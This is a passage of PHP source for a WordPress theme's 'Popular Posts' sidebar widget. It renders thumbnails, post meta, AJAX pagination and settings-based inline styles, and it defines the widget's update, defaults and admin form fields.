							<?php if ( ! $ordernum && has_post_thumbnail() && ! $hide_thumb ): ?>
                                <span class="order-border-number<?php if ( $thumbright && ! $twocolumn ): echo ' right-side'; endif; ?>">
									<span class="number-post"><?php echo sanitize_text_field( $num ); ?></span>
								</span>
							<?php endif; ?>
                            <div class="side-item">
								<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) && ! $hide_thumb ) : ?>
                                    <div class="side-image<?php if ( $thumbright ): echo ' thumbnail-right'; endif; ?>">
										<?php
										$size_pie = 'small';
										if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $size_pie = 'normal'; endif;
										do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
										/* Display Review Piechart  */
										if ( function_exists( 'penci_display_piechart_review_html' ) ) {
											penci_display_piechart_review_html( get_the_ID(), $size_pie );
										}
										$thumb = penci_featured_images_size( 'small' );
										if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = penci_featured_images_size(); endif;
										if ( $image_type == 'horizontal' ) {
											$thumb = 'penci-thumb-small';
											if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = 'penci-thumb'; endif;
										} elseif ( $image_type == 'square' ) {
											$thumb = 'penci-thumb-square';
										} elseif ( $image_type == 'vertical' ) {
											$thumb = 'penci-thumb-vertical';
										}
										?>

                                        <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumb )); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
											echo '';
										} else {
											echo ' small-fix-size';
										} ?>" rel="bookmark"
                                           href="<?php the_permalink(); ?>"
                                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
											<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumb ), get_the_title() ); ?>
                                        </a>


										<?php if ( $icon ): ?>
											<?php if ( has_post_format( 'video' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'audio' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'link' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'quote' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'gallery' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
											<?php endif; ?>
										<?php endif; ?>
                                    </div>
								<?php endif; ?>
                                <div class="side-item-text">
									<?php if ( $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                        <div class="grid-post-box-meta penci-side-item-meta pcsnmt-above">
											<?php if ( $showauthor ): ?>
                                                <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            class="url fn n"
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $postdate ): ?>
                                                <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( $showcomment ): ?>
                                                <span class="side-item-meta side-wcomments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php if ( $showviews ): ?>
                                                <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>

                                    <h4 class="side-title-post">
                                        <a href="<?php the_permalink() ?>" rel="bookmark"
                                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
											<?php
											if ( ! $title_length || ! is_numeric( $title_length ) ) {
												if ( $featured2 && ( ( ( $num == 1 ) && $featured ) || $allfeatured ) ) {
													echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 12, '...' );
												} else {
													the_title();
												}
											} else {
												echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
											}
											?>
                                        </a>
                                    </h4>
									<?php if ( ! $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                        <div class="grid-post-box-meta penci-side-item-meta pcsnmt-below">
											<?php if ( $showauthor ): ?>
                                                <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            class="url fn n"
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $postdate ): ?>
                                                <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( $showcomment ): ?>
                                                <span class="side-item-meta side-wcomments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php if ( $showviews ): ?>
                                                <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
                                </div>
                            </div>
                        </li>

						<?php $num ++; endwhile; ?>

                </ul>

				<?php

				if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'btn' ) {
					?>
                    <div class="penci-pagination penci-ajax-more pcwg-lposts">
                        <a class="penci-ajax-more-button penci-wgajx-btn"
                           href="#" aria-label="More Posts">
                            <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
                                    class="ajaxdot"></span><i
                                    class="penci-faicon fa fa-refresh"></i> </a>
                    </div>
					<?php
				} else if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'nav' ) { ?>
                    <div class="penci-pagination penci-ajax-nav pcwg-lposts">
                        <span class="pcajx-btn penci-wgajx-btn prev disable"><?php echo penci_icon_by_ver( 'penciicon-left-chevron' ) . ' <span class="pcnav-title">' . penci_get_setting( 'penci_trans_back' ); ?></span></span>
                        <span class="pcajx-btn penci-wgajx-btn next"><span
                                    class="pcnav-title"><?php echo penci_get_setting( 'penci_trans_next' ) . '</span> ' . penci_icon_by_ver( 'penciicon-right-chevron' ); ?></span>
                    </div>
					<?php
				}
				if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] ) {
					?>
                    <div class="pcwgajx-ld-wrapper">
						<?php echo penci_get_html_animation_loading( 'df' ); ?>
                    </div>
					<?php
					wp_enqueue_script( 'penci_widgets_ajax' );
				}
				$attrstyle = '';
				if ( $ptfsfe ) {
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . ' li.featured-news .side-item .side-item-text h4 a{ font-size: ' . $ptfsfe . 'px; }';
				}
				if ( $ptfs ) {
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . ' li:not(.featured-news) .side-item .side-item-text h4 a{ font-size: ' . $ptfs . 'px; }';
				}
				if ( $pmfs ) {
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . ' li .side-item .side-item-text .side-item-meta{ font-size: ' . $pmfs . 'px; }';
				}
				if ( $ptorn ) {
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . '.order-numbers-4.display-order-numbers li .side-image:before{ font-size: ' . $ptorn . 'px; }';
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . ' li .number-post{ font-size: ' . $ptorn . 'px; }';
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . '.order-numbers-3 li .number-post{ font-size: ' . $ptorn . 'px; }';
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . '.order-numbers-2.display-order-numbers li .side-item-text:before{ font-size: ' . $ptorn . 'px; }';
				}
				if ( $oboxsize ) {
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . ' { --oboxsize: ' . $oboxsize . 'px; }';
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . '.side-newsfeed.order-numbers-1 li .order-border-number{ width: ' . $oboxsize . 'px;height: ' . $oboxsize . 'px;line-height: ' . ( $oboxsize - 2 ) . 'px; }';
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . '.side-newsfeed.order-numbers-1 li .number-post{ width: ' . $oboxsize . 'px;height: ' . $oboxsize . 'px;line-height: ' . ( $oboxsize - 2 ) . 'px; }';
				}
				if ( $imgwidth ) {
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . ' li .penci-image-holder.small-fix-size{ width: ' . $imgwidth . 'px; }';
				}
				if ( $row_gap ) {
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . '.side-newsfeed:not(.penci-feed-2columns) li{ margin-bottom: ' . $row_gap . 'px; padding-bottom: ' . $row_gap . 'px; }';
					$attrstyle .= '.widget ul#penci-popularwg-' . $rand . '.penci-feed-2columns li{ margin-bottom: ' . $row_gap . 'px; }';
				}
				if ( $image_type == 'horizontal' ) {
					$attrstyle .= '#penci-popularwg-' . $rand . ' .penci-image-holder:before{ padding-top: 66.6667%; }';
				} elseif ( $image_type == 'square' ) {
					$attrstyle .= '#penci-popularwg-' . $rand . ' .penci-image-holder:before{ padding-top: 100%; }';
				} elseif ( $image_type == 'vertical' ) {
					$attrstyle .= '#penci-popularwg-' . $rand . ' .penci-image-holder:before{ padding-top: 135.4%; }';
				}

				if ( $attrstyle ) {
					echo '<style type="text/css">' . $attrstyle . '</style>';
				}

				/* After widget (defined by themes). */
				echo ent2ncr( $after_widget );

				wp_reset_postdata();
			endif;
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			if ( ! empty( $new_instance['cats_id'] ) ) {
				if ( is_array( $new_instance['cats_id'] ) ) {
					$instance['cats_id'] = implode( ',', $new_instance['cats_id'] );
				} else {
					$instance['cats_id'] = esc_sql( $new_instance['cats_id'] );
				}
			} else {
				$instance['cats_id'] = false;
			}

			if ( ! empty( $new_instance['tags_id'] ) ) {
				if ( is_array( $new_instance['tags_id'] ) ) {
					$instance['tags_id'] = implode( ',', $new_instance['tags_id'] );
				} else {
					$instance['tags_id'] = esc_sql( $new_instance['tags_id'] );
				}
			} else {
				$instance['tags_id'] = false;
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array(
				'title'          => esc_html__( 'Popular Posts', 'soledad' ),
				'hide_thumb'     => false,
				'movemeta'       => false,
				'dotstyle'       => '',
				'ptype'          => '',
				'taxonomy'       => '',
				'tax_ids'        => '',
				'sticky'         => true,
				'show_author'    => false,
				'show_comment'   => false,
				'show_postviews' => false,
				'showborder'     => false,
				'row_gap'        => '',
				'imgwidth'       => '',
				'ptfsfe'         => '',
				'ptfs'           => '',
				'pmfs'           => '',
				'ptorn'          => '',
				'oboxsize'       => '',
				'image_type'     => 'default',
				'type'           => '',
				'title_length'   => '',
				'number'         => 5,
				'offset'         => '',
				'query_cat'  	 => '',
				'categories'     => '',
				'ajaxnav'        => '',
				'ordernum_style' => '',
				'featured'       => false,
				'allfeatured'    => false,
				'thumbright'     => false,
				'twocolumn'      => false,
				'featured2'      => false,
				'ordernum'       => false,
				'postdate'       => false,
				'icon'           => false
			);

			return $defaults;
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();

			$cats_id = array();
			$tags_id = array();

			if ( isset( $instance['cats_id'] ) && ! empty( $instance['cats_id'] ) ) {
				$cats_id = explode( ',', $instance['cats_id'] );
			}
			if ( isset( $instance['tags_id'] ) && ! empty( $instance['tags_id'] ) ) {
				$tags_id = explode( ',', $instance['tags_id'] );
			}

			$instance       = wp_parse_args( (array) $instance, $defaults );
			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>
            <style>span.description {
                    font-style: italic;
                    font-size: 13px;
                }</style>
            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <!-- Type -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'type' ) ); ?>">Display Popular Posts on</label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'type' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'type' ) ); ?>" class="widefat categories"
                        style="width:100%;">
                    <option value='all' <?php if ( '' == $instance['type'] ) {
						echo 'selected="selected"';
					} ?>>All Time
                    </option>
                    <option value='week' <?php if ( 'week' == $instance['type'] ) {
						echo 'selected="selected"';
					} ?>>Once Weekly
                    </option>
                    <option value='month' <?php if ( 'month' == $instance['type'] ) {
						echo 'selected="selected"';
					} ?>>Once a Month
                    </option>
					<option value='daily' <?php if ( 'daily' == $instance['type'] ) {
						echo 'selected="selected"';
					} ?>>Daily
                    </option>
					<?php if ( ! empty( penci_jetpack_option() ) ): ?>
                        <option value='jetpack' <?php if ( 'jetpack' == $instance['type'] ) {
							echo 'selected="selected"';
						} ?>>Jetpack Post Views
                        </option>
					<?php endif; ?>
                </select>
            </p>

            <!-- Category -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'cats_id' ) ); ?>"><?php esc_html_e( 'Include Categories:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'cats_id' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'cats_id' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='all' <?php if ( in_array( 'all', $cats_id ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All categories', 'soledad' ); ?></option>
					<?php $categories = get_categories( 'hide_empty=0&depth=1&type=post' ); ?>
					<?php foreach ( $categories as $category ) { ?>
                        <option value='<?php echo esc_attr( $category->term_id ); ?>' <?php if ( in_array( $category->term_id, $cats_id ) ) {
							echo 'selected="selected"';
						} ?>><?php echo sanitize_text_field( $category->name ); ?></option>
					<?php } ?>
                </select>
                <span class="description"
                      style="padding-left: 0;"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple categories.', 'soledad' ); ?></span>
            </p>

            <!-- Tags -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tags_id' ) ); ?>"><?php esc_html_e( 'Include Tags:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'tags_id' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'tags_id' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='all' <?php if ( in_array( 'all', $tags_id ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All tags', 'soledad' ); ?></option>
					<?php $tags = get_tags( 'hide_empty=0&depth=1&type=post' ); ?>
					<?php foreach ( $tags as $tag ) { ?>
                        <option value='<?php echo esc_attr( $tag->term_id ); ?>' <?php if ( in_array( $tag->term_id, $tags_id ) ) {
							echo 'selected="selected"';
						} ?>><?php echo sanitize_text_field( $tag->name ); ?></option>
					<?php } ?>
                </select>
                <span class="description"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple tags.', 'soledad' ); ?></span>
            </p>

            <!-- Custom Post Type -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptype' ) ); ?>"><?php esc_html_e( 'Query for Custom Post Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'ptype' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'ptype' ) ); ?>" class="widefat categories"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['ptype'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( '- Default( Posts ) -', 'soledad' ); ?></option>
					<?php $all_post_types = get_post_types( array(
						'public'            => true,
						'show_in_nav_menus' => true
					), 'objects' );
					unset( $all_post_types['post'] );
					if ( ! empty( $all_post_types ) ) {
						foreach ( $all_post_types as $p_type => $ptobject ) {
							?>
                            <option value='<?php echo esc_attr( $p_type ); ?>' <?php if ( $p_type == $instance['ptype'] ) {
								echo 'selected="selected"';
							} ?>><?php echo $ptobject->label; ?></option>
						<?php }
					}
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'taxonomy' ) ); ?>"><?php esc_html_e( 'Custom taxonomies to query:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'taxonomy' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'taxonomy' ) ); ?>"
                       value="<?php echo esc_attr( $instance['taxonomy'] ); ?>" size="3"/>
                <span class="description"><?php _e( 'Fill taxonomy slug(s) here. Separate by commas to query multiple taxonomies. Check <a href="https://imgresources.s3.amazonaws.com/custom-taxonomy.png" style="color: #007cba;" target="_blank">this image</a> for understand more.', 'soledad' ); ?></span>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tax_ids' ) ); ?>"><?php esc_html_e( 'Taxonomy IDs to query:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'tax_ids' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'tax_ids' ) ); ?>"
                       value="<?php echo esc_attr( $instance['tax_ids'] ); ?>" size="3"/>
                <span class="description"><?php _e( 'Fill taxonomy ID(s) here. Separate by commas to query multiple taxonomies. Check <a href="https://imgresources.s3.amazonaws.com/custom-taxonomy.png" style="color: #007cba;" target="_blank">this image</a> for understand more.', 'soledad' ); ?></span>
            </p>

			<p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'query_cat' ) ); ?>"><?php esc_html_e( 'Query Posts Within Current Category?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'query_cat' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'query_cat' ) ); ?>" <?php checked( (bool) $instance['query_cat'], true ); ?> /><br>
                <span class="description"><?php _e( 'When this widget is viewed on a category page, the post query will automatically use the current category\'s slug or ID', 'soledad' ); ?></span>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'sticky' ) ); ?>"><?php esc_html_e( 'Ignore Sticky Posts?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'sticky' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'sticky' ) ); ?>" <?php checked( (bool) $instance['sticky'], true ); ?> /><br>
                <span class="description"><?php _e( 'Note that: Ignore sticky posts doesn\'t work if you filter your posts by a taxonomy or multiple taxonomies (categories, tags... ) - because it doesn\'t support by WordPress itself.', 'soledad' ); ?></span>
            </p>

            <!-- Image Size -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'image_type' ) ); ?>"><?php esc_html_e( 'Featured Images Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'image_type' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'image_type' ) ); ?>"
                        class="widefat image_type" style="width:100%;">
                    <option value='default' <?php if ( 'default' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Default ( follow on Customize )', 'soledad' ); ?></option>
                    <option value='horizontal' <?php if ( 'horizontal' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Horizontal Size', 'soledad' ); ?></option>
                    <option value='square' <?php if ( 'square' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Square Size', 'soledad' ); ?></option>
                    <option value='vertical' <?php if ( 'vertical' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Vertical Size', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Number of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php esc_html_e( 'Number of posts to show:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>"
                       value="<?php echo esc_attr( $instance['number'] ); ?>" size="3"/>
            </p>

            <!-- Offset of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"><?php esc_html_e( 'Number of offset Posts:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'offset' ) ); ?>"
                       value="<?php echo esc_attr( $instance['offset'] ); ?>" size="3"/>
            </p>

            <!-- Custom trim post titles -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title_length' ) ); ?>"><?php esc_html_e( 'Custom words length for post titles:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title_length' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title_length' ) ); ?>"
                       value="<?php echo esc_attr( $instance['title_length'] ); ?>" size="3"/>
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If your post titles is too long - You can use this option for trim it. Fill number value here.</span>
            </p>

            <!-- Timeline dots style -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'dotstyle' ) ); ?>"><?php esc_html_e( 'Show Timeline Dots?', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'dotstyle' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'dotstyle' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( "Don't Show", 'soledad' ); ?></option>
                    <option value='s1' <?php if ( 's1' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Show with Color Style', 'soledad' ); ?></option>
                    <option value='s2' <?php if ( 's2' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Show with Hover Style', 'soledad' ); ?></option>
                    <option value='s3' <?php if ( 's3' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Show with Animation Style', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Move post meta -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'movemeta' ) ); ?>"><?php esc_html_e( 'Move post meta to display above post title?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'movemeta' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'movemeta' ) ); ?>" <?php checked( (bool) $instance['movemeta'], true ); ?> />
            </p>

            <!-- Display thumbnail right -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'hide_thumb' ) ); ?>"><?php esc_html_e( 'Hide thumbnail(Featured Image)?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hide_thumb' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hide_thumb' ) ); ?>" <?php checked( (bool) $instance['hide_thumb'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'thumbright' ) ); ?>"><?php esc_html_e( 'Display thumbnail on right?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'thumbright' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'thumbright' ) ); ?>" <?php checked( (bool) $instance['thumbright'], true ); ?> />
            </p>

            <!-- 2 Columns -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'twocolumn' ) ); ?>"><?php esc_html_e( 'Display on 2 columns?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'twocolumn' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'twocolumn' ) ); ?>" <?php checked( (bool) $instance['twocolumn'], true ); ?> />
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If you use 2 columns option, it will ignore option display thumbnail on right.</span>
            </p>

            <!-- Display latest post featured -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'featured' ) ); ?>"><?php esc_html_e( 'Display 1st post featured?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'featured' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'featured' ) ); ?>" <?php checked( (bool) $instance['featured'], true ); ?> />
            </p>

            <!-- Display latest post featured style 2 -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'featured2' ) ); ?>"><?php esc_html_e( 'Display featured post style 2?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'featured2' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'featured2' ) ); ?>" <?php checked( (bool) $instance['featured2'], true ); ?> />
            </p>

            <!-- Display big post -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'allfeatured' ) ); ?>"><?php esc_html_e( 'Display all post featured?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'allfeatured' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'allfeatured' ) ); ?>" <?php checked( (bool) $instance['allfeatured'], true ); ?> />
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If you use all post featured option, it will ignore option display thumbnail on right & 2 columns.</span>
            </p>

            <!-- Hide Order Numbers -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ordernum' ) ); ?>"><?php esc_html_e( 'Hide Order Numbers?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'ordernum' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ordernum' ) ); ?>" <?php checked( (bool) $instance['ordernum'], true ); ?> />
            </p>

			<p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ordernum_style' ) ); ?>"><?php esc_html_e( 'Order Numbers Style', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'ordernum_style' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'ordernum_style' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['ordernum_style'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( "Style 1", 'soledad' ); ?></option>
                    <option value='2' <?php if ( '2' == $instance['ordernum_style'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Style 2', 'soledad' ); ?></option>
                    <option value='3' <?php if ( '3' == $instance['ordernum_style'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Style 3', 'soledad' ); ?></option>
					<option value='4' <?php if ( '4' == $instance['ordernum_style'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Style 4', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Post Meta -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_author' ) ); ?>"><?php esc_html_e( 'Show Author Name?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_author' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_author' ) ); ?>" <?php checked( (bool) $instance['show_author'], true ); ?> />
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'postdate' ) ); ?>"><?php esc_html_e( 'Hide post date?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'postdate' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'postdate' ) ); ?>" <?php checked( (bool) $instance['postdate'], true ); ?> />
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_comment' ) ); ?>"><?php esc_html_e( 'Show Comment Count?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_comment' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_comment' ) ); ?>" <?php checked( (bool) $instance['show_comment'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_postviews' ) ); ?>"><?php esc_html_e( 'Show Post Views?:', 'soledad' ); ?></label>
